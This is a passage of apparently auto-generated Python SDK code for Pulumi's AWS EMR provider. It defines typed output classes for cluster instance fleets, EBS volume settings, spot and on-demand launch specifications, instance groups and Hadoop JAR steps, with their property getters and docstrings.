suggest = "bid_price_as_percentage_of_on_demand_price"
elif key == "ebsConfigs":
suggest = "ebs_configs"
elif key == "weightedCapacity":
suggest = "weighted_capacity"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleetInstanceTypeConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleetInstanceTypeConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleetInstanceTypeConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_type: str,
bid_price: Optional[str] = None,
bid_price_as_percentage_of_on_demand_price: Optional[float] = None,
configurations: Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfigConfiguration']] = None,
ebs_configs: Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig']] = None,
weighted_capacity: Optional[int] = None):
"""
:param str instance_type: An EC2 instance type, such as m4.xlarge.
:param str bid_price: The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param float bid_price_as_percentage_of_on_demand_price: The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param Sequence['ClusterMasterInstanceFleetInstanceTypeConfigConfigurationArgs'] configurations: A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
:param Sequence['ClusterMasterInstanceFleetInstanceTypeConfigEbsConfigArgs'] ebs_configs: Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
:param int weighted_capacity: The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
pulumi.set(__self__, "instance_type", instance_type)
if bid_price is not None:
pulumi.set(__self__, "bid_price", bid_price)
if bid_price_as_percentage_of_on_demand_price is not None:
pulumi.set(__self__, "bid_price_as_percentage_of_on_demand_price", bid_price_as_percentage_of_on_demand_price)
if configurations is not None:
pulumi.set(__self__, "configurations", configurations)
if ebs_configs is not None:
pulumi.set(__self__, "ebs_configs", ebs_configs)
if weighted_capacity is not None:
pulumi.set(__self__, "weighted_capacity", weighted_capacity)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> str:
"""
An EC2 instance type, such as m4.xlarge.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="bidPrice")
def bid_price(self) -> Optional[str]:
"""
The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price")
@property
@pulumi.getter(name="bidPriceAsPercentageOfOnDemandPrice")
def bid_price_as_percentage_of_on_demand_price(self) -> Optional[float]:
"""
The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price_as_percentage_of_on_demand_price")
@property
@pulumi.getter
def configurations(self) -> Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfigConfiguration']]:
"""
A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
"""
return pulumi.get(self, "configurations")
@property
@pulumi.getter(name="ebsConfigs")
def ebs_configs(self) -> Optional[Sequence['outputs.ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig']]:
"""
Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
"""
return pulumi.get(self, "ebs_configs")
@property
@pulumi.getter(name="weightedCapacity")
def weighted_capacity(self) -> Optional[int]:
"""
The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
return pulumi.get(self, "weighted_capacity")
@pulumi.output_type
class ClusterMasterInstanceFleetInstanceTypeConfigConfiguration(dict):
def __init__(__self__, *,
classification: Optional[str] = None,
properties: Optional[Mapping[str, Any]] = None):
"""
:param str classification: The classification within a configuration.
:param Mapping[str, Any] properties: A map of properties specified within a configuration classification
"""
if classification is not None:
pulumi.set(__self__, "classification", classification)
if properties is not None:
pulumi.set(__self__, "properties", properties)
@property
@pulumi.getter
def classification(self) -> Optional[str]:
"""
The classification within a configuration.
"""
return pulumi.get(self, "classification")
@property
@pulumi.getter
def properties(self) -> Optional[Mapping[str, Any]]:
"""
A map of properties specified within a configuration classification
"""
return pulumi.get(self, "properties")
@pulumi.output_type
class ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB).
:param str type: The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
:param int iops: The number of I/O operations per second (IOPS) that the volume supports
:param int volumes_per_instance: The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB).
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class ClusterMasterInstanceFleetLaunchSpecifications(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "onDemandSpecifications":
suggest = "on_demand_specifications"
elif key == "spotSpecifications":
suggest = "spot_specifications"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleetLaunchSpecifications. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleetLaunchSpecifications.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleetLaunchSpecifications.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
on_demand_specifications: Optional[Sequence['outputs.ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification']] = None,
spot_specifications: Optional[Sequence['outputs.ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification']] = None):
"""
:param Sequence['ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecificationArgs'] on_demand_specifications: Configuration block for on demand instances launch specifications
:param Sequence['ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecificationArgs'] spot_specifications: Configuration block for spot instances launch specifications
"""
if on_demand_specifications is not None:
pulumi.set(__self__, "on_demand_specifications", on_demand_specifications)
if spot_specifications is not None:
pulumi.set(__self__, "spot_specifications", spot_specifications)
@property
@pulumi.getter(name="onDemandSpecifications")
def on_demand_specifications(self) -> Optional[Sequence['outputs.ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification']]:
"""
Configuration block for on demand instances launch specifications
"""
return pulumi.get(self, "on_demand_specifications")
@property
@pulumi.getter(name="spotSpecifications")
def spot_specifications(self) -> Optional[Sequence['outputs.ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification']]:
"""
Configuration block for spot instances launch specifications
"""
return pulumi.get(self, "spot_specifications")
@pulumi.output_type
class ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleetLaunchSpecificationsOnDemandSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@pulumi.output_type
class ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "allocationStrategy":
suggest = "allocation_strategy"
elif key == "timeoutAction":
suggest = "timeout_action"
elif key == "timeoutDurationMinutes":
suggest = "timeout_duration_minutes"
elif key == "blockDurationMinutes":
suggest = "block_duration_minutes"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceFleetLaunchSpecificationsSpotSpecification.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
allocation_strategy: str,
timeout_action: str,
timeout_duration_minutes: int,
block_duration_minutes: Optional[int] = None):
"""
:param str allocation_strategy: Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
:param str timeout_action: The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
:param int timeout_duration_minutes: The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
:param int block_duration_minutes: The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
pulumi.set(__self__, "allocation_strategy", allocation_strategy)
pulumi.set(__self__, "timeout_action", timeout_action)
pulumi.set(__self__, "timeout_duration_minutes", timeout_duration_minutes)
if block_duration_minutes is not None:
pulumi.set(__self__, "block_duration_minutes", block_duration_minutes)
@property
@pulumi.getter(name="allocationStrategy")
def allocation_strategy(self) -> str:
"""
Specifies the strategy to use in launching Spot instance fleets. Currently, the only option is `capacity-optimized` (the default), which launches instances from Spot instance pools with optimal capacity for the number of instances that are launching.
"""
return pulumi.get(self, "allocation_strategy")
@property
@pulumi.getter(name="timeoutAction")
def timeout_action(self) -> str:
"""
The action to take when TargetSpotCapacity has not been fulfilled when the TimeoutDurationMinutes has expired; that is, when all Spot instances could not be provisioned within the Spot provisioning timeout. Valid values are `TERMINATE_CLUSTER` and `SWITCH_TO_ON_DEMAND`. SWITCH_TO_ON_DEMAND specifies that if no Spot instances are available, On-Demand Instances should be provisioned to fulfill any remaining Spot capacity.
"""
return pulumi.get(self, "timeout_action")
@property
@pulumi.getter(name="timeoutDurationMinutes")
def timeout_duration_minutes(self) -> int:
"""
The spot provisioning timeout period in minutes. If Spot instances are not provisioned within this time period, the TimeOutAction is taken. Minimum value is 5 and maximum value is 1440. The timeout applies only during initial provisioning, when the cluster is first created.
"""
return pulumi.get(self, "timeout_duration_minutes")
@property
@pulumi.getter(name="blockDurationMinutes")
def block_duration_minutes(self) -> Optional[int]:
"""
The defined duration for Spot instances (also known as Spot blocks) in minutes. When specified, the Spot instance does not terminate before the defined duration expires, and defined duration pricing for Spot instances applies. Valid values are 60, 120, 180, 240, 300, or 360. The duration period starts as soon as a Spot instance receives its instance ID. At the end of the duration, Amazon EC2 marks the Spot instance for termination and provides a Spot instance termination notice, which gives the instance a two-minute warning before it terminates.
"""
return pulumi.get(self, "block_duration_minutes")
@pulumi.output_type
class ClusterMasterInstanceGroup(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceType":
suggest = "instance_type"
elif key == "bidPrice":
suggest = "bid_price"
elif key == "ebsConfigs":
suggest = "ebs_configs"
elif key == "instanceCount":
suggest = "instance_count"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceGroup. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceGroup.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceGroup.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_type: str,
bid_price: Optional[str] = None,
ebs_configs: Optional[Sequence['outputs.ClusterMasterInstanceGroupEbsConfig']] = None,
id: Optional[str] = None,
instance_count: Optional[int] = None,
name: Optional[str] = None):
"""
:param str instance_type: An EC2 instance type, such as m4.xlarge.
:param str bid_price: The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param Sequence['ClusterMasterInstanceGroupEbsConfigArgs'] ebs_configs: Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
:param str id: The ID of the EMR Cluster
:param int instance_count: Target number of instances for the instance group. Must be 1 or 3. Defaults to 1. Launching with multiple master nodes is only supported in EMR version 5.23.0+, and requires this resource's `core_instance_group` to be configured. Public (Internet accessible) instances must be created in VPC subnets that have `map public IP on launch` enabled. Termination protection is automatically enabled when launched with multiple master nodes and this provider must have the `termination_protection = false` configuration applied before destroying this resource.
:param str name: Friendly name given to the instance fleet.
"""
pulumi.set(__self__, "instance_type", instance_type)
if bid_price is not None:
pulumi.set(__self__, "bid_price", bid_price)
if ebs_configs is not None:
pulumi.set(__self__, "ebs_configs", ebs_configs)
if id is not None:
pulumi.set(__self__, "id", id)
if instance_count is not None:
pulumi.set(__self__, "instance_count", instance_count)
if name is not None:
pulumi.set(__self__, "name", name)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> str:
"""
An EC2 instance type, such as m4.xlarge.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="bidPrice")
def bid_price(self) -> Optional[str]:
"""
The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price")
@property
@pulumi.getter(name="ebsConfigs")
def ebs_configs(self) -> Optional[Sequence['outputs.ClusterMasterInstanceGroupEbsConfig']]:
"""
Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
"""
return pulumi.get(self, "ebs_configs")
@property
@pulumi.getter
def id(self) -> Optional[str]:
"""
The ID of the EMR Cluster
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="instanceCount")
def instance_count(self) -> Optional[int]:
"""
Target number of instances for the instance group. Must be 1 or 3. Defaults to 1. Launching with multiple master nodes is only supported in EMR version 5.23.0+, and requires this resource's `core_instance_group` to be configured. Public (Internet accessible) instances must be created in VPC subnets that have `map public IP on launch` enabled. Termination protection is automatically enabled when launched with multiple master nodes and this provider must have the `termination_protection = false` configuration applied before destroying this resource.
"""
return pulumi.get(self, "instance_count")
@property
@pulumi.getter
def name(self) -> Optional[str]:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@pulumi.output_type
class ClusterMasterInstanceGroupEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterMasterInstanceGroupEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterMasterInstanceGroupEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterMasterInstanceGroupEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB).
:param str type: The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
:param int iops: The number of I/O operations per second (IOPS) that the volume supports
:param int volumes_per_instance: The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB).
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
return pulumi.get(self, "volumes_per_instance")
@pulumi.output_type
class ClusterStep(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "actionOnFailure":
suggest = "action_on_failure"
elif key == "hadoopJarStep":
suggest = "hadoop_jar_step"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterStep. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterStep.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterStep.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
action_on_failure: str,
hadoop_jar_step: 'outputs.ClusterStepHadoopJarStep',
name: str):
"""
:param str action_on_failure: The action to take if the step fails. Valid values: `TERMINATE_JOB_FLOW`, `TERMINATE_CLUSTER`, `CANCEL_AND_WAIT`, and `CONTINUE`
:param 'ClusterStepHadoopJarStepArgs' hadoop_jar_step: The JAR file used for the step. Defined below.
:param str name: Friendly name given to the instance fleet.
"""
pulumi.set(__self__, "action_on_failure", action_on_failure)
pulumi.set(__self__, "hadoop_jar_step", hadoop_jar_step)
pulumi.set(__self__, "name", name)
@property
@pulumi.getter(name="actionOnFailure")
def action_on_failure(self) -> str:
"""
The action to take if the step fails. Valid values: `TERMINATE_JOB_FLOW`, `TERMINATE_CLUSTER`, `CANCEL_AND_WAIT`, and `CONTINUE`
"""
return pulumi.get(self, "action_on_failure")
@property
@pulumi.getter(name="hadoopJarStep")
def hadoop_jar_step(self) -> 'outputs.ClusterStepHadoopJarStep':
"""
The JAR file used for the step. Defined below.
"""
return pulumi.get(self, "hadoop_jar_step")
@property
@pulumi.getter
def name(self) -> str:
"""
Friendly name given to the instance fleet.
"""
return pulumi.get(self, "name")
@pulumi.output_type
class ClusterStepHadoopJarStep(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "mainClass":
suggest = "main_class"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in ClusterStepHadoopJarStep. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
ClusterStepHadoopJarStep.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
ClusterStepHadoopJarStep.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
jar: str,
args: Optional[Sequence[str]] = None,
main_class: Optional[str] = None,
properties: Optional[Mapping[str, str]] = None):
"""
:param str jar: Path to a JAR file run during the step.
:param Sequence[str] args: List of command line arguments passed to the JAR file's main function when executed.
:param str main_class: Name of the main class in the specified Java file. If not specified, the JAR file should specify a Main-Class in its manifest file.
:param Mapping[str, str] properties: A map of properties specified within a configuration classification
"""
pulumi.set(__self__, "jar", jar)
if args is not None:
pulumi.set(__self__, "args", args)
if main_class is not None:
pulumi.set(__self__, "main_class", main_class)
if properties is not None:
pulumi.set(__self__, "properties", properties)
@property
@pulumi.getter
def jar(self) -> str:
"""
Path to a JAR file run during the step.
"""
return pulumi.get(self, "jar")
@property
@pulumi.getter
def args(self) -> Optional[Sequence[str]]:
"""
List of command line arguments passed to the JAR file's main function when executed.
"""
return pulumi.get(self, "args")
@property
@pulumi.getter(name="mainClass")
def main_class(self) -> Optional[str]:
"""
Name of the main class in the specified Java file. If not specified, the JAR file should specify a Main-Class in its manifest file.
"""
return pulumi.get(self, "main_class")
@property
@pulumi.getter
def properties(self) -> Optional[Mapping[str, str]]:
"""
A map of properties specified within a configuration classification
"""
return pulumi.get(self, "properties")
@pulumi.output_type
class InstanceFleetInstanceTypeConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "instanceType":
suggest = "instance_type"
elif key == "bidPrice":
suggest = "bid_price"
elif key == "bidPriceAsPercentageOfOnDemandPrice":
suggest = "bid_price_as_percentage_of_on_demand_price"
elif key == "ebsConfigs":
suggest = "ebs_configs"
elif key == "weightedCapacity":
suggest = "weighted_capacity"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceFleetInstanceTypeConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceFleetInstanceTypeConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceFleetInstanceTypeConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
instance_type: str,
bid_price: Optional[str] = None,
bid_price_as_percentage_of_on_demand_price: Optional[float] = None,
configurations: Optional[Sequence['outputs.InstanceFleetInstanceTypeConfigConfiguration']] = None,
ebs_configs: Optional[Sequence['outputs.InstanceFleetInstanceTypeConfigEbsConfig']] = None,
weighted_capacity: Optional[int] = None):
"""
:param str instance_type: An EC2 instance type, such as m4.xlarge.
:param str bid_price: The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param float bid_price_as_percentage_of_on_demand_price: The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
:param Sequence['InstanceFleetInstanceTypeConfigConfigurationArgs'] configurations: A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
:param Sequence['InstanceFleetInstanceTypeConfigEbsConfigArgs'] ebs_configs: Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
:param int weighted_capacity: The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
pulumi.set(__self__, "instance_type", instance_type)
if bid_price is not None:
pulumi.set(__self__, "bid_price", bid_price)
if bid_price_as_percentage_of_on_demand_price is not None:
pulumi.set(__self__, "bid_price_as_percentage_of_on_demand_price", bid_price_as_percentage_of_on_demand_price)
if configurations is not None:
pulumi.set(__self__, "configurations", configurations)
if ebs_configs is not None:
pulumi.set(__self__, "ebs_configs", ebs_configs)
if weighted_capacity is not None:
pulumi.set(__self__, "weighted_capacity", weighted_capacity)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> str:
"""
An EC2 instance type, such as m4.xlarge.
"""
return pulumi.get(self, "instance_type")
@property
@pulumi.getter(name="bidPrice")
def bid_price(self) -> Optional[str]:
"""
The bid price for each EC2 Spot instance type as defined by `instance_type`. Expressed in USD. If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price")
@property
@pulumi.getter(name="bidPriceAsPercentageOfOnDemandPrice")
def bid_price_as_percentage_of_on_demand_price(self) -> Optional[float]:
"""
The bid price, as a percentage of On-Demand price, for each EC2 Spot instance as defined by `instance_type`. Expressed as a number (for example, 20 specifies 20%). If neither `bid_price` nor `bid_price_as_percentage_of_on_demand_price` is provided, `bid_price_as_percentage_of_on_demand_price` defaults to 100%.
"""
return pulumi.get(self, "bid_price_as_percentage_of_on_demand_price")
@property
@pulumi.getter
def configurations(self) -> Optional[Sequence['outputs.InstanceFleetInstanceTypeConfigConfiguration']]:
"""
A configuration classification that applies when provisioning cluster instances, which can include configurations for applications and software that run on the cluster. List of `configuration` blocks.
"""
return pulumi.get(self, "configurations")
@property
@pulumi.getter(name="ebsConfigs")
def ebs_configs(self) -> Optional[Sequence['outputs.InstanceFleetInstanceTypeConfigEbsConfig']]:
"""
Configuration block(s) for EBS volumes attached to each instance in the instance group. Detailed below.
"""
return pulumi.get(self, "ebs_configs")
@property
@pulumi.getter(name="weightedCapacity")
def weighted_capacity(self) -> Optional[int]:
"""
The number of units that a provisioned instance of this type provides toward fulfilling the target capacities defined in `emr.InstanceFleet`.
"""
return pulumi.get(self, "weighted_capacity")
@pulumi.output_type
class InstanceFleetInstanceTypeConfigConfiguration(dict):
def __init__(__self__, *,
classification: Optional[str] = None,
properties: Optional[Mapping[str, Any]] = None):
"""
:param str classification: The classification within a configuration.
:param Mapping[str, Any] properties: A map of properties specified within a configuration classification
"""
if classification is not None:
pulumi.set(__self__, "classification", classification)
if properties is not None:
pulumi.set(__self__, "properties", properties)
@property
@pulumi.getter
def classification(self) -> Optional[str]:
"""
The classification within a configuration.
"""
return pulumi.get(self, "classification")
@property
@pulumi.getter
def properties(self) -> Optional[Mapping[str, Any]]:
"""
A map of properties specified within a configuration classification
"""
return pulumi.get(self, "properties")
@pulumi.output_type
class InstanceFleetInstanceTypeConfigEbsConfig(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "volumesPerInstance":
suggest = "volumes_per_instance"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in InstanceFleetInstanceTypeConfigEbsConfig. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
InstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
InstanceFleetInstanceTypeConfigEbsConfig.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
size: int,
type: str,
iops: Optional[int] = None,
volumes_per_instance: Optional[int] = None):
"""
:param int size: The volume size, in gibibytes (GiB).
:param str type: The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
:param int iops: The number of I/O operations per second (IOPS) that the volume supports
:param int volumes_per_instance: The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
"""
pulumi.set(__self__, "size", size)
pulumi.set(__self__, "type", type)
if iops is not None:
pulumi.set(__self__, "iops", iops)
if volumes_per_instance is not None:
pulumi.set(__self__, "volumes_per_instance", volumes_per_instance)
@property
@pulumi.getter
def size(self) -> int:
"""
The volume size, in gibibytes (GiB).
"""
return pulumi.get(self, "size")
@property
@pulumi.getter
def type(self) -> str:
"""
The volume type. Valid options are `gp2`, `io1`, `standard` and `st1`. See [EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html).
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def iops(self) -> Optional[int]:
"""
The number of I/O operations per second (IOPS) that the volume supports
"""
return pulumi.get(self, "iops")
@property
@pulumi.getter(name="volumesPerInstance")
def volumes_per_instance(self) -> Optional[int]:
"""
The number of EBS volumes with this configuration to attach to each EC2 instance in the instance group (default is 1)
